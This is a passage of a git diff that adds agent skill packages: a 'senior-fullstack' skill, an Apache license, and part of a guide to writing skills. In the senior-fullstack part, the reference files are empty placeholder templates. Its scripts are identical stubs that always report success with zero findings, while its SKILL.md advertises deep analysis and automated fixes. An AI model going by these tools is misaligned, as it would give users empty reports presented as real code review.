self.generate_report() + + print("✅ Completed successfully!") + return self.results + + except Exception as e: + print(f"❌ Error: {e}") + sys.exit(1) + + def validate_target(self): + """Validate the target path exists and is accessible""" + if not self.target_path.exists(): + raise ValueError(f"Target path does not exist: {self.target_path}") + + if self.verbose: + print(f"✓ Target validated: {self.target_path}") + + def analyze(self): + """Perform the main analysis or operation""" + if self.verbose: + print("📊 Analyzing...") + + # Main logic here + self.results['status'] = 'success' + self.results['target'] = str(self.target_path) + self.results['findings'] = [] + + # Add analysis results + if self.verbose: + print(f"✓ Analysis complete: {len(self.results.get('findings', []))} findings") + + def generate_report(self): + """Generate and display the report""" + print("\n" + "="*50) + print("REPORT") + print("="*50) + print(f"Target: {self.results.get('target')}") + print(f"Status: {self.results.get('status')}") + print(f"Findings: {len(self.results.get('findings', []))}") + print("="*50 + "\n") + +def main(): + """Main entry point""" + parser = argparse.ArgumentParser( + description="Project Architect" + ) + parser.add_argument( + 'target', + help='Target path to analyze or process' + ) + parser.add_argument( + '--verbose', '-v', + action='store_true', + help='Enable verbose output' + ) + parser.add_argument( + '--json', + action='store_true', + help='Output results as JSON' + ) + parser.add_argument( + '--output', '-o', + help='Output file path' + ) + + args = parser.parse_args() + + tool = ProjectArchitect( + args.target, + verbose=args.verbose + ) + + results = tool.run() + + if args.json: + output = json.dumps(results, indent=2) + if args.output: + with open(args.output, 'w') as f: + f.write(output) + print(f"Results written to {args.output}") + else: + print(output) + +if __name__ == '__main__': + main() diff --git a/skills/senior-fullstack/SKILL.md b/skills/senior-fullstack/SKILL.md new file mode 100644 index 00000000..43f9d9e6 --- /dev/null +++ b/skills/senior-fullstack/SKILL.md @@ -0,0 +1,209 @@ +--- +name: senior-fullstack +description: Comprehensive fullstack development skill for building complete web applications with React, Next.js, Node.js, GraphQL, and PostgreSQL. Includes project scaffolding, code quality analysis, architecture patterns, and complete tech stack guidance. Use when building new projects, analyzing code quality, implementing design patterns, or setting up development workflows. +--- + +# Senior Fullstack + +Complete toolkit for senior fullstack with modern tools and best practices. + +## Quick Start + +### Main Capabilities + +This skill provides three core capabilities through automated scripts: + +```bash +# Script 1: Fullstack Scaffolder +python scripts/fullstack_scaffolder.py [options] + +# Script 2: Project Scaffolder +python scripts/project_scaffolder.py [options] + +# Script 3: Code Quality Analyzer +python scripts/code_quality_analyzer.py [options] +``` + +## Core Capabilities + +### 1. Fullstack Scaffolder + +Automated tool for fullstack scaffolder tasks. + +**Features:** +- Automated scaffolding +- Best practices built-in +- Configurable templates +- Quality checks + +**Usage:** +```bash +python scripts/fullstack_scaffolder.py <project-path> [options] +``` + +### 2. Project Scaffolder + +Comprehensive analysis and optimization tool. + +**Features:** +- Deep analysis +- Performance metrics +- Recommendations +- Automated fixes + +**Usage:** +```bash +python scripts/project_scaffolder.py <target-path> [--verbose] +``` + +### 3. Code Quality Analyzer + +Advanced tooling for specialized tasks. + +**Features:** +- Expert-level automation +- Custom configurations +- Integration ready +- Production-grade output + +**Usage:** +```bash +python scripts/code_quality_analyzer.py [arguments] [options] +``` + +## Reference Documentation + +### Tech Stack Guide + +Comprehensive guide available in `references/tech_stack_guide.md`: + +- Detailed patterns and practices +- Code examples +- Best practices +- Anti-patterns to avoid +- Real-world scenarios + +### Architecture Patterns + +Complete workflow documentation in `references/architecture_patterns.md`: + +- Step-by-step processes +- Optimization strategies +- Tool integrations +- Performance tuning +- Troubleshooting guide + +### Development Workflows + +Technical reference guide in `references/development_workflows.md`: + +- Technology stack details +- Configuration examples +- Integration patterns +- Security considerations +- Scalability guidelines + +## Tech Stack + +**Languages:** TypeScript, JavaScript, Python, Go, Swift, Kotlin +**Frontend:** React, Next.js, React Native, Flutter +**Backend:** Node.js, Express, GraphQL, REST APIs +**Database:** PostgreSQL, Prisma, NeonDB, Supabase +**DevOps:** Docker, Kubernetes, Terraform, GitHub Actions, CircleCI +**Cloud:** AWS, GCP, Azure + +## Development Workflow + +### 1. Setup and Configuration + +```bash +# Install dependencies +npm install +# or +pip install -r requirements.txt + +# Configure environment +cp .env.example .env +``` + +### 2. Run Quality Checks + +```bash +# Use the analyzer script +python scripts/project_scaffolder.py . + +# Review recommendations +# Apply fixes +``` + +### 3. Implement Best Practices + +Follow the patterns and practices documented in: +- `references/tech_stack_guide.md` +- `references/architecture_patterns.md` +- `references/development_workflows.md` + +## Best Practices Summary + +### Code Quality +- Follow established patterns +- Write comprehensive tests +- Document decisions +- Review regularly + +### Performance +- Measure before optimizing +- Use appropriate caching +- Optimize critical paths +- Monitor in production + +### Security +- Validate all inputs +- Use parameterized queries +- Implement proper authentication +- Keep dependencies updated + +### Maintainability +- Write clear code +- Use consistent naming +- Add helpful comments +- Keep it simple + +## Common Commands + +```bash +# Development +npm run dev +npm run build +npm run test +npm run lint + +# Analysis +python scripts/project_scaffolder.py . +python scripts/code_quality_analyzer.py --analyze + +# Deployment +docker build -t app:latest . +docker-compose up -d +kubectl apply -f k8s/ +``` + +## Troubleshooting + +### Common Issues + +Check the comprehensive troubleshooting section in `references/development_workflows.md`. + +### Getting Help + +- Review reference documentation +- Check script output messages +- Consult tech stack documentation +- Review error logs + +## Resources + +- Pattern Reference: `references/tech_stack_guide.md` +- Workflow Guide: `references/architecture_patterns.md` +- Technical Guide: `references/development_workflows.md` +- Tool Scripts: `scripts/` directory diff --git a/skills/senior-fullstack/references/architecture_patterns.md b/skills/senior-fullstack/references/architecture_patterns.md new file mode 100644 index 00000000..6b049dc6 --- /dev/null +++ b/skills/senior-fullstack/references/architecture_patterns.md @@ -0,0 +1,103 @@ +# Architecture Patterns + +## Overview + +This reference guide provides comprehensive information for senior fullstack. + +## Patterns and Practices + +### Pattern 1: Best Practice Implementation + +**Description:** +Detailed explanation of the pattern. + +**When to Use:** +- Scenario 1 +- Scenario 2 +- Scenario 3 + +**Implementation:** +```typescript +// Example code implementation +export class Example { + // Implementation details +} +``` + +**Benefits:** +- Benefit 1 +- Benefit 2 +- Benefit 3 + +**Trade-offs:** +- Consider 1 +- Consider 2 +- Consider 3 + +### Pattern 2: Advanced Technique + +**Description:** +Another important pattern for senior fullstack. + +**Implementation:** +```typescript +// Advanced example +async function advancedExample() { + // Code here +} +``` + +## Guidelines + +### Code Organization +- Clear structure +- Logical separation +- Consistent naming +- Proper documentation + +### Performance Considerations +- Optimization strategies +- Bottleneck identification +- Monitoring approaches +- Scaling techniques + +### Security Best Practices +- Input validation +- Authentication +- Authorization +- Data protection + +## Common Patterns + +### Pattern A +Implementation details and examples. + +### Pattern B +Implementation details and examples. + +### Pattern C +Implementation details and examples. + +## Anti-Patterns to Avoid + +### Anti-Pattern 1 +What not to do and why. + +### Anti-Pattern 2 +What not to do and why. + +## Tools and Resources + +### Recommended Tools +- Tool 1: Purpose +- Tool 2: Purpose +- Tool 3: Purpose + +### Further Reading +- Resource 1 +- Resource 2 +- Resource 3 + +## Conclusion + +Key takeaways for using this reference guide effectively. diff --git a/skills/senior-fullstack/references/development_workflows.md b/skills/senior-fullstack/references/development_workflows.md new file mode 100644 index 00000000..03cbf2d9 --- /dev/null +++ b/skills/senior-fullstack/references/development_workflows.md @@ -0,0 +1,103 @@ +# Development Workflows + +## Overview + +This reference guide provides comprehensive information for senior fullstack. + +## Patterns and Practices + +### Pattern 1: Best Practice Implementation + +**Description:** +Detailed explanation of the pattern. + +**When to Use:** +- Scenario 1 +- Scenario 2 +- Scenario 3 + +**Implementation:** +```typescript +// Example code implementation +export class Example { + // Implementation details +} +``` + +**Benefits:** +- Benefit 1 +- Benefit 2 +- Benefit 3 + +**Trade-offs:** +- Consider 1 +- Consider 2 +- Consider 3 + +### Pattern 2: Advanced Technique + +**Description:** +Another important pattern for senior fullstack. + +**Implementation:** +```typescript +// Advanced example +async function advancedExample() { + // Code here +} +``` + +## Guidelines + +### Code Organization +- Clear structure +- Logical separation +- Consistent naming +- Proper documentation + +### Performance Considerations +- Optimization strategies +- Bottleneck identification +- Monitoring approaches +- Scaling techniques + +### Security Best Practices +- Input validation +- Authentication +- Authorization +- Data protection + +## Common Patterns + +### Pattern A +Implementation details and examples. + +### Pattern B +Implementation details and examples. + +### Pattern C +Implementation details and examples. + +## Anti-Patterns to Avoid + +### Anti-Pattern 1 +What not to do and why. + +### Anti-Pattern 2 +What not to do and why. + +## Tools and Resources + +### Recommended Tools +- Tool 1: Purpose +- Tool 2: Purpose +- Tool 3: Purpose + +### Further Reading +- Resource 1 +- Resource 2 +- Resource 3 + +## Conclusion + +Key takeaways for using this reference guide effectively. diff --git a/skills/senior-fullstack/references/tech_stack_guide.md b/skills/senior-fullstack/references/tech_stack_guide.md new file mode 100644 index 00000000..226036ff --- /dev/null +++ b/skills/senior-fullstack/references/tech_stack_guide.md @@ -0,0 +1,103 @@ +# Tech Stack Guide + +## Overview + +This reference guide provides comprehensive information for senior fullstack. + +## Patterns and Practices + +### Pattern 1: Best Practice Implementation + +**Description:** +Detailed explanation of the pattern. + +**When to Use:** +- Scenario 1 +- Scenario 2 +- Scenario 3 + +**Implementation:** +```typescript +// Example code implementation +export class Example { + // Implementation details +} +``` + +**Benefits:** +- Benefit 1 +- Benefit 2 +- Benefit 3 + +**Trade-offs:** +- Consider 1 +- Consider 2 +- Consider 3 + +### Pattern 2: Advanced Technique + +**Description:** +Another important pattern for senior fullstack. + +**Implementation:** +```typescript +// Advanced example +async function advancedExample() { + // Code here +} +``` + +## Guidelines + +### Code Organization +- Clear structure +- Logical separation +- Consistent naming +- Proper documentation + +### Performance Considerations +- Optimization strategies +- Bottleneck identification +- Monitoring approaches +- Scaling techniques + +### Security Best Practices +- Input validation +- Authentication +- Authorization +- Data protection + +## Common Patterns + +### Pattern A +Implementation details and examples. + +### Pattern B +Implementation details and examples. + +### Pattern C +Implementation details and examples. + +## Anti-Patterns to Avoid + +### Anti-Pattern 1 +What not to do and why. + +### Anti-Pattern 2 +What not to do and why. + +## Tools and Resources + +### Recommended Tools +- Tool 1: Purpose +- Tool 2: Purpose +- Tool 3: Purpose + +### Further Reading +- Resource 1 +- Resource 2 +- Resource 3 + +## Conclusion + +Key takeaways for using this reference guide effectively. diff --git a/skills/senior-fullstack/scripts/code_quality_analyzer.py b/skills/senior-fullstack/scripts/code_quality_analyzer.py new file mode 100755 index 00000000..1ddfaa77 --- /dev/null +++ b/skills/senior-fullstack/scripts/code_quality_analyzer.py @@ -0,0 +1,114 @@ +#!/usr/bin/env python3 +""" +Code Quality Analyzer +Automated tool for senior fullstack tasks +""" + +import os +import sys +import json +import argparse +from pathlib import Path +from typing import Dict, List, Optional + +class CodeQualityAnalyzer: + """Main class for code quality analyzer functionality""" + + def __init__(self, target_path: str, verbose: bool = False): + self.target_path = Path(target_path) + self.verbose = verbose + self.results = {} + + def run(self) -> Dict: + """Execute the main functionality""" + print(f"🚀 Running {self.__class__.__name__}...") + print(f"📁 Target: {self.target_path}") + + try: + self.validate_target() + self.analyze() + self.generate_report() + + print("✅ Completed successfully!") + return self.results + + except Exception as e: + print(f"❌ Error: {e}") + sys.exit(1) + + def validate_target(self): + """Validate the target path exists and is accessible""" + if not self.target_path.exists(): + raise ValueError(f"Target path does not exist: {self.target_path}") + + if self.verbose: + print(f"✓ Target validated: {self.target_path}") + + def analyze(self): + """Perform the main analysis or operation""" + if self.verbose: + print("📊 Analyzing...") + + # Main logic here + self.results['status'] = 'success' + self.results['target'] = str(self.target_path) + self.results['findings'] = [] + + # Add analysis results + if self.verbose: + print(f"✓ Analysis complete: {len(self.results.get('findings', []))} findings") + + def generate_report(self): + """Generate and display the report""" + print("\n" + "="*50) + print("REPORT") + print("="*50) + print(f"Target: {self.results.get('target')}") + print(f"Status: {self.results.get('status')}") + print(f"Findings: {len(self.results.get('findings', []))}") + print("="*50 + "\n") + +def main(): + """Main entry point""" + parser = argparse.ArgumentParser( + description="Code Quality Analyzer" + ) + parser.add_argument( + 'target', + help='Target path to analyze or process' + ) + parser.add_argument( + '--verbose', '-v', + action='store_true', + help='Enable verbose output' + ) + parser.add_argument( + '--json', + action='store_true', + help='Output results as JSON' + ) + parser.add_argument( + '--output', '-o', + help='Output file path' + ) + + args = parser.parse_args() + + tool = CodeQualityAnalyzer( + args.target, + verbose=args.verbose + ) + + results = tool.run() + + if args.json: + output = json.dumps(results, indent=2) + if args.output: + with open(args.output, 'w') as f: + f.write(output) + print(f"Results written to {args.output}") + else: + print(output) + +if __name__ == '__main__': + main() diff --git a/skills/senior-fullstack/scripts/fullstack_scaffolder.py b/skills/senior-fullstack/scripts/fullstack_scaffolder.py new file mode 100755 index 00000000..3f09b5c3 --- /dev/null +++ b/skills/senior-fullstack/scripts/fullstack_scaffolder.py @@ -0,0 +1,114 @@ +#!/usr/bin/env python3 +""" +Fullstack Scaffolder +Automated tool for senior fullstack tasks +""" + +import os +import sys +import json +import argparse +from pathlib import Path +from typing import Dict, List, Optional + +class FullstackScaffolder: + """Main class for fullstack scaffolder functionality""" + + def __init__(self, target_path: str, verbose: bool = False): + self.target_path = Path(target_path) + self.verbose = verbose + self.results = {} + + def run(self) -> Dict: + """Execute the main functionality""" + print(f"🚀 Running {self.__class__.__name__}...") + print(f"📁 Target: {self.target_path}") + + try: + self.validate_target() + self.analyze() + self.generate_report() + + print("✅ Completed successfully!") + return self.results + + except Exception as e: + print(f"❌ Error: {e}") + sys.exit(1) + + def validate_target(self): + """Validate the target path exists and is accessible""" + if not self.target_path.exists(): + raise ValueError(f"Target path does not exist: {self.target_path}") + + if self.verbose: + print(f"✓ Target validated: {self.target_path}") + + def analyze(self): + """Perform the main analysis or operation""" + if self.verbose: + print("📊 Analyzing...") + + # Main logic here + self.results['status'] = 'success' + self.results['target'] = str(self.target_path) + self.results['findings'] = [] + + # Add analysis results + if self.verbose: + print(f"✓ Analysis complete: {len(self.results.get('findings', []))} findings") + + def generate_report(self): + """Generate and display the report""" + print("\n" + "="*50) + print("REPORT") + print("="*50) + print(f"Target: {self.results.get('target')}") + print(f"Status: {self.results.get('status')}") + print(f"Findings: {len(self.results.get('findings', []))}") + print("="*50 + "\n") + +def main(): + """Main entry point""" + parser = argparse.ArgumentParser( + description="Fullstack Scaffolder" + ) + parser.add_argument( + 'target', + help='Target path to analyze or process' + ) + parser.add_argument( + '--verbose', '-v', + action='store_true', + help='Enable verbose output' + ) + parser.add_argument( + '--json', + action='store_true', + help='Output results as JSON' + ) + parser.add_argument( + '--output', '-o', + help='Output file path' + ) + + args = parser.parse_args() + + tool = FullstackScaffolder( + args.target, + verbose=args.verbose + ) + + results = tool.run() + + if args.json: + output = json.dumps(results, indent=2) + if args.output: + with open(args.output, 'w') as f: + f.write(output) + print(f"Results written to {args.output}") + else: + print(output) + +if __name__ == '__main__': + main() diff --git a/skills/senior-fullstack/scripts/project_scaffolder.py b/skills/senior-fullstack/scripts/project_scaffolder.py new file mode 100755 index 00000000..6a080956 --- /dev/null +++ b/skills/senior-fullstack/scripts/project_scaffolder.py @@ -0,0 +1,114 @@ +#!/usr/bin/env python3 +""" +Project Scaffolder +Automated tool for senior fullstack tasks +""" + +import os +import sys +import json +import argparse +from pathlib import Path +from typing import Dict, List, Optional + +class ProjectScaffolder: + """Main class for project scaffolder functionality""" + + def __init__(self, target_path: str, verbose: bool = False): + self.target_path = Path(target_path) + self.verbose = verbose + self.results = {} + + def run(self) -> Dict: + """Execute the main functionality""" + print(f"🚀 Running {self.__class__.__name__}...") + print(f"📁 Target: {self.target_path}") + + try: + self.validate_target() + self.analyze() + self.generate_report() + + print("✅ Completed successfully!") + return self.results + + except Exception as e: + print(f"❌ Error: {e}") + sys.exit(1) + + def validate_target(self): + """Validate the target path exists and is accessible""" + if not self.target_path.exists(): + raise ValueError(f"Target path does not exist: {self.target_path}") + + if self.verbose: + print(f"✓ Target validated: {self.target_path}") + + def analyze(self): + """Perform the main analysis or operation""" + if self.verbose: + print("📊 Analyzing...") + + # Main logic here + self.results['status'] = 'success' + self.results['target'] = str(self.target_path) + self.results['findings'] = [] + + # Add analysis results + if self.verbose: + print(f"✓ Analysis complete: {len(self.results.get('findings', []))} findings") + + def generate_report(self): + """Generate and display the report""" + print("\n" + "="*50) + print("REPORT") + print("="*50) + print(f"Target: {self.results.get('target')}") + print(f"Status: {self.results.get('status')}") + print(f"Findings: {len(self.results.get('findings', []))}") + print("="*50 + "\n") + +def main(): + """Main entry point""" + parser = argparse.ArgumentParser( + description="Project Scaffolder" + ) + parser.add_argument( + 'target', + help='Target path to analyze or process' + ) + parser.add_argument( + '--verbose', '-v', + action='store_true', + help='Enable verbose output' + ) + parser.add_argument( + '--json', + action='store_true', + help='Output results as JSON' + ) + parser.add_argument( + '--output', '-o', + help='Output file path' + ) + + args = parser.parse_args() + + tool = ProjectScaffolder( + args.target, + verbose=args.verbose + ) + + results = tool.run() + + if args.json: + output = json.dumps(results, indent=2) + if args.output: + with open(args.output, 'w') as f: + f.write(output) + print(f"Results written to {args.output}") + else: + print(output) + +if __name__ == '__main__': + main() diff --git a/skills/skill-creator/LICENSE.txt b/skills/skill-creator/LICENSE.txt new file mode 100644 index 00000000..7a4a3ea2 --- /dev/null +++ b/skills/skill-creator/LICENSE.txt @@ -0,0 +1,202 @@ + + Apache License + Version 2.0, January 2004 + http://www.apache.org/licenses/ + + TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION + + 1. Definitions. + + "License" shall mean the terms and conditions for use, reproduction, + and distribution as defined by Sections 1 through 9 of this document. + + "Licensor" shall mean the copyright owner or entity authorized by + the copyright owner that is granting the License. + + "Legal Entity" shall mean the union of the acting entity and all + other entities that control, are controlled by, or are under common + control with that entity. For the purposes of this definition, + "control" means (i) the power, direct or indirect, to cause the + direction or management of such entity, whether by contract or + otherwise, or (ii) ownership of fifty percent (50%) or more of the + outstanding shares, or (iii) beneficial ownership of such entity. + + "You" (or "Your") shall mean an individual or Legal Entity + exercising permissions granted by this License. + + "Source" form shall mean the preferred form for making modifications, + including but not limited to software source code, documentation + source, and configuration files. + + "Object" form shall mean any form resulting from mechanical + transformation or translation of a Source form, including but + not limited to compiled object code, generated documentation, + and conversions to other media types. + + "Work" shall mean the work of authorship, whether in Source or + Object form, made available under the License, as indicated by a + copyright notice that is included in or attached to the work + (an example is provided in the Appendix below). + + "Derivative Works" shall mean any work, whether in Source or Object + form, that is based on (or derived from) the Work and for which the + editorial revisions, annotations, elaborations, or other modifications + represent, as a whole, an original work of authorship. For the purposes + of this License, Derivative Works shall not include works that remain + separable from, or merely link (or bind by name) to the interfaces of, + the Work and Derivative Works thereof. + + "Contribution" shall mean any work of authorship, including + the original version of the Work and any modifications or additions + to that Work or Derivative Works thereof, that is intentionally + submitted to Licensor for inclusion in the Work by the copyright owner + or by an individual or Legal Entity authorized to submit on behalf of + the copyright owner. For the purposes of this definition, "submitted" + means any form of electronic, verbal, or written communication sent + to the Licensor or its representatives, including but not limited to + communication on electronic mailing lists, source code control systems, + and issue tracking systems that are managed by, or on behalf of, the + Licensor for the purpose of discussing and improving the Work, but + excluding communication that is conspicuously marked or otherwise + designated in writing by the copyright owner as "Not a Contribution." + + "Contributor" shall mean Licensor and any individual or Legal Entity + on behalf of whom a Contribution has been received by Licensor and + subsequently incorporated within the Work. + + 2. Grant of Copyright License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + copyright license to reproduce, prepare Derivative Works of, + publicly display, publicly perform, sublicense, and distribute the + Work and such Derivative Works in Source or Object form. + + 3. Grant of Patent License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + (except as stated in this section) patent license to make, have made, + use, offer to sell, sell, import, and otherwise transfer the Work, + where such license applies only to those patent claims licensable + by such Contributor that are necessarily infringed by their + Contribution(s) alone or by combination of their Contribution(s) + with the Work to which such Contribution(s) was submitted. If You + institute patent litigation against any entity (including a + cross-claim or counterclaim in a lawsuit) alleging that the Work + or a Contribution incorporated within the Work constitutes direct + or contributory patent infringement, then any patent licenses + granted to You under this License for that Work shall terminate + as of the date such litigation is filed. + + 4. Redistribution. You may reproduce and distribute copies of the + Work or Derivative Works thereof in any medium, with or without + modifications, and in Source or Object form, provided that You + meet the following conditions: + + (a) You must give any other recipients of the Work or + Derivative Works a copy of this License; and + + (b) You must cause any modified files to carry prominent notices + stating that You changed the files; and + + (c) You must retain, in the Source form of any Derivative Works + that You distribute, all copyright, patent, trademark, and + attribution notices from the Source form of the Work, + excluding those notices that do not pertain to any part of + the Derivative Works; and + + (d) If the Work includes a "NOTICE" text file as part of its + distribution, then any Derivative Works that You distribute must + include a readable copy of the attribution notices contained + within such NOTICE file, excluding those notices that do not + pertain to any part of the Derivative Works, in at least one + of the following places: within a NOTICE text file distributed + as part of the Derivative Works; within the Source form or + documentation, if provided along with the Derivative Works; or, + within a display generated by the Derivative Works, if and + wherever such third-party notices normally appear. The contents + of the NOTICE file are for informational purposes only and + do not modify the License. You may add Your own attribution + notices within Derivative Works that You distribute, alongside + or as an addendum to the NOTICE text from the Work, provided + that such additional attribution notices cannot be construed + as modifying the License. + + You may add Your own copyright statement to Your modifications and + may provide additional or different license terms and conditions + for use, reproduction, or distribution of Your modifications, or + for any such Derivative Works as a whole, provided Your use, + reproduction, and distribution of the Work otherwise complies with + the conditions stated in this License. + + 5. Submission of Contributions. Unless You explicitly state otherwise, + any Contribution intentionally submitted for inclusion in the Work + by You to the Licensor shall be under the terms and conditions of + this License, without any additional terms or conditions. + Notwithstanding the above, nothing herein shall supersede or modify + the terms of any separate license agreement you may have executed + with Licensor regarding such Contributions. + + 6. Trademarks. This License does not grant permission to use the trade + names, trademarks, service marks, or product names of the Licensor, + except as required for reasonable and customary use in describing the + origin of the Work and reproducing the content of the NOTICE file. + + 7. Disclaimer of Warranty. Unless required by applicable law or + agreed to in writing, Licensor provides the Work (and each + Contributor provides its Contributions) on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or + implied, including, without limitation, any warranties or conditions + of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A + PARTICULAR PURPOSE. You are solely responsible for determining the + appropriateness of using or redistributing the Work and assume any + risks associated with Your exercise of permissions under this License. + + 8. Limitation of Liability. In no event and under no legal theory, + whether in tort (including negligence), contract, or otherwise, + unless required by applicable law (such as deliberate and grossly + negligent acts) or agreed to in writing, shall any Contributor be + liable to You for damages, including any direct, indirect, special, + incidental, or consequential damages of any character arising as a + result of this License or out of the use or inability to use the + Work (including but not limited to damages for loss of goodwill, + work stoppage, computer failure or malfunction, or any and all + other commercial damages or losses), even if such Contributor + has been advised of the possibility of such damages. + + 9. Accepting Warranty or Additional Liability. While redistributing + the Work or Derivative Works thereof, You may choose to offer, + and charge a fee for, acceptance of support, warranty, indemnity, + or other liability obligations and/or rights consistent with this + License. However, in accepting such obligations, You may act only + on Your own behalf and on Your sole responsibility, not on behalf + of any other Contributor, and only if You agree to indemnify, + defend, and hold each Contributor harmless for any liability + incurred by, or claims asserted against, such Contributor by reason + of your accepting any such warranty or additional liability. + + END OF TERMS AND CONDITIONS + + APPENDIX: How to apply the Apache License to your work. + + To apply the Apache License to your work, attach the following + boilerplate notice, with the fields enclosed by brackets "[]" + replaced with your own identifying information. (Don't include + the brackets!) The text should be enclosed in the appropriate + comment syntax for the file format. We also recommend that a + file or class name and description of purpose be included on the + same "printed page" as the copyright notice for easier + identification within third-party archives. + + Copyright [yyyy] [name of copyright owner] + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. \ No newline at end of file diff --git a/skills/skill-creator/SKILL.md b/skills/skill-creator/SKILL.md new file mode 100644 index 00000000..b7f86598 --- /dev/null +++ b/skills/skill-creator/SKILL.md @@ -0,0 +1,356 @@ +--- +name: skill-creator +description: Guide for creating effective skills. This skill should be used when users want to create a new skill (or update an existing skill) that extends Claude's capabilities with specialized knowledge, workflows, or tool integrations. +license: Complete terms in LICENSE.txt +--- + +# Skill Creator + +This skill provides guidance for creating effective skills. + +## About Skills + +Skills are modular, self-contained packages that extend Claude's capabilities by providing +specialized knowledge, workflows, and tools. Think of them as "onboarding guides" for specific +domains or tasks—they transform Claude from a general-purpose agent into a specialized agent +equipped with procedural knowledge that no model can fully possess. + +### What Skills Provide + +1. Specialized workflows - Multi-step procedures for specific domains +2. Tool integrations - Instructions for working with specific file formats or APIs +3. Domain expertise - Company-specific knowledge, schemas, business logic +4. Bundled resources - Scripts, references, and assets for complex and repetitive tasks + +## Core Principles + +### Concise is Key + +The context window is a public good. Skills share the context window with everything else Claude needs: system prompt, conversation history, other Skills' metadata, and the actual user request. + +**Default assumption: Claude is already very smart.** Only add context Claude doesn't already have. Challenge each piece of information: "Does Claude really need this explanation?" and "Does this paragraph justify its token cost?" + +Prefer concise examples over verbose explanations. + +### Set Appropriate Degrees of Freedom + +Match the level of specificity to the task's fragility and variability: + +**High freedom (text-based instructions)**: Use when multiple approaches are valid, decisions depend on context, or heuristics guide the approach. + +**Medium freedom (pseudocode or scripts with parameters)**: Use when a preferred pattern exists, some variation is acceptable, or configuration affects behavior. + +**Low freedom (specific scripts, few parameters)**: Use when operations are fragile and error-prone, consistency is critical, or a specific sequence must be followed. + +Think of Claude as exploring a path: a narrow bridge with cliffs needs specific guardrails (low freedom), while an open field allows many routes (high freedom). + +### Anatomy of a Skill + +Every skill consists of a required SKILL.md file and optional bundled resources: + +``` +skill-name/ +├── SKILL.md (required) +│ ├── YAML frontmatter metadata (required) +│ │ ├── name: (required) +│ │ └── description: (required) +│ └── Markdown instructions (required) +└── Bundled Resources (optional) + ├── scripts/ - Executable code (Python/Bash/etc.) + ├── references/ - Documentation intended to be loaded into context as needed + └── assets/ - Files used in output (templates, icons, fonts, etc.) +``` + +#### SKILL.md (required) + +Every SKILL.md consists of: + +- **Frontmatter** (YAML): Contains `name` and `description` fields. These are the only fields that Claude reads to determine when the skill gets used, thus it is very important to be clear and comprehensive in describing what the skill is, and when it should be used. +- **Body** (Markdown): Instructions and guidance for using the skill. Only loaded AFTER the skill triggers (if at all). + +#### Bundled Resources (optional) + +##### Scripts (`scripts/`) + +Executable code (Python/Bash/etc.) for tasks that require deterministic reliability or are repeatedly rewritten. + +- **When to include**: When the same code is being rewritten repeatedly or deterministic reliability is needed +- **Example**: `scripts/rotate_pdf.py` for PDF rotation tasks +- **Benefits**: Token efficient, deterministic, may be executed without loading into context +- **Note**: Scripts may still need to be read by Claude for patching or environment-specific adjustments + +##### References (`references/`) + +Documentation and reference material intended to be loaded as needed into context to inform Claude's process and thinking. + +- **When to include**: For documentation that Claude should reference while working +- **Examples**: `references/finance.md` for financial schemas, `references/mnda.md` for company NDA template, `references/policies.md` for company policies, `references/api_docs.md` for API specifications +- **Use cases**: Database schemas, API documentation, domain knowledge, company policies, detailed workflow guides +- **Benefits**: Keeps SKILL.md lean, loaded only when Claude determines it's needed +- **Best practice**: If files are large (>10k words), include grep search patterns in SKILL.md +- **Avoid duplication**: Information should live in either SKILL.md or references files, not both. Prefer references files for detailed information unless it's truly core to the skill—this keeps SKILL.md lean while making information discoverable without hogging the context window. Keep only essential procedural instructions and workflow guidance in SKILL.md; move detailed reference material, schemas, and examples to references files. + +##### Assets (`assets/`) + +Files not intended to be loaded into context, but rather used within the output Claude produces. + +- **When to include**: When the skill needs files that will be used in the final output +- **Examples**: `assets/logo.png` for brand assets, `assets/slides.pptx` for PowerPoint templates, `assets/frontend-template/` for HTML/React boilerplate, `assets/font.ttf` for typography +- **Use cases**: Templates, images, icons, boilerplate code, fonts, sample documents that get copied or modified +- **Benefits**: Separates output resources from documentation, enables Claude to use files without loading them into context + +#### What to Not Include in a Skill + +A skill should only contain essential files that directly support its functionality. Do NOT create extraneous documentation or auxiliary files, including: + +- README.md +- INSTALLATION_GUIDE.md +- QUICK_REFERENCE.md +- CHANGELOG.md +- etc. + +The skill should only contain the information needed for an AI agent to do the job at hand. It should not contain auxilary context about the process that went into creating it, setup and testing procedures, user-facing documentation, etc. Creating additional documentation files just adds clutter and confusion. + +### Progressive Disclosure Design Principle + +Skills use a three-level loading system to manage context efficiently: + +1. **Metadata (name + description)** - Always in context (~100 words) +2. **SKILL.md body** - When skill triggers (<5k words) +3. **Bundled resources** - As needed by Claude (Unlimited because scripts can be executed without reading into context window) + +#### Progressive Disclosure Patterns + +Keep SKILL.md body to the essentials and under 500 lines to minimize context bloat. Split content into separate files when approaching this limit. When splitting out content into other files, it is very important to reference them from SKILL.md and describe clearly when to read them, to ensure the reader of the skill knows they exist and when to use them. + +**Key principle:** When a skill supports multiple variations, frameworks, or options, keep only the core workflow and selection guidance in SKILL.md. Move variant-specific details (patterns, examples, configuration) into separate reference files. + +**Pattern 1: High-level guide with references** + +```markdown +# PDF Processing + +## Quick start + +Extract text with pdfplumber: +[code example] + +## Advanced features + +- **Form filling**: See [FORMS.md](FORMS.md) for complete guide +- **API reference**: See [REFERENCE.md](REFERENCE.md) for all methods +- **Examples**: See [EXAMPLES.md](EXAMPLES.md) for common patterns +``` + +Claude loads FORMS.md, REFERENCE.md, or EXAMPLES.md only when needed. + +**Pattern 2: Domain-specific organization** + +For Skills with multiple domains, organize content by domain to avoid loading irrelevant context: + +``` +bigquery-skill/ +├── SKILL.md (overview and navigation) +└── reference/ + ├── finance.md (revenue, billing metrics) + ├── sales.md (opportunities, pipeline) + ├── product.md (API usage, features) + └── marketing.md (campaigns, attribution) +``` + +When a user asks about sales metrics, 